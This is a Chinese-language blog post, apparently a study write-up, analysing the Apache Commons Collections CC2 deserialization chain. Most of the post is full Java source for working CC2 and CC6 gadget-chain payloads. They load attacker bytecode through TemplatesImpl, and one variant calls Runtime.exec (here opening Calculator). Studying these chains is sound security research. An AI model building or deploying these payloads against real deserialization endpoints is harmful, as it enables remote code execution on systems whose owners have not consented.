Apache_Commons_Collections2分析

简介

cc2 的开头和cc4 的开头是一样的,我们知道cc4 后面调用的transformer 是可控的,那么我们就可以直接使用

InvokeTransformer 去调用newTransformer 然后完成动态类加载

分析

和前面是一样的,利用得失transform() 函数的参数可控

image-20251009141927599

image-20251009141857982

如是我们将priorityQueue 中的元素设置成这个就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;


import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc2Learn {
public static void cc2() throws Exception {
// 构造恶意的动态类加载sink
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);


TransformingComparator<Object,Object> transformingComparator = new TransformingComparator(new ConstantTransformer(1));



PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(templates); // 放入InvokerTransformer.transformer 的参数
priorityQueue.add(2);

Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, invokerTransformer);


// Serialize.serialize(priorityQueue,false);
Serialize.deserialize("ser.bin");

}
public static void main(String[] args) throws Exception {
cc2();
}
}

其实根据上述的描述,我们发现LazyMap中其实也是可控参数的

那么我们就直接操作一手cc6 让其不要使用数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.clearn.Clean;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc6Learn {

/**
* 使用chainedTransformer 进行调用
* @throws Exception
*/
public static void cc6_1() throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

HashMap<String, String> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

TiedMapEntry tideMapEntry = new TiedMapEntry(lazyMap, "aaa");


HashMap<Object, String> sourceHashMap = new HashMap<>();

sourceHashMap.put(tideMapEntry, "bbb");
lazyMap.remove("aaa");

Class<? extends Map> lazyMapClass = lazyMap.getClass();
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap, ct);


String fileName = Serialize.serialize(sourceHashMap);
Serialize.deserialize(fileName);
Clean.clean();
}

/**
* 使用InvokerTransformer进行调用
*/
public static void cc6_2() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);



HashMap<String, String> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

TiedMapEntry tideMapEntry = new TiedMapEntry(lazyMap, templates);


HashMap<Object, String> sourceHashMap = new HashMap<>();

sourceHashMap.put(tideMapEntry, "bbb");
lazyMap.remove(templates);

Class<? extends Map> lazyMapClass = lazyMap.getClass();
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap, invokerTransformer);


Serialize.serialize(sourceHashMap,false);
Serialize.deserialize("ser.bin");

}

public static void main(String[] args) throws Exception {
cc6_2();
}
}


Apache_Commons_Collections2分析
https://tsy244.github.io/2025/10/09/java安全/Apache-Commons-Collections2分析/
Author
August Rosenberg
Posted on
October 9, 2025
Licensed under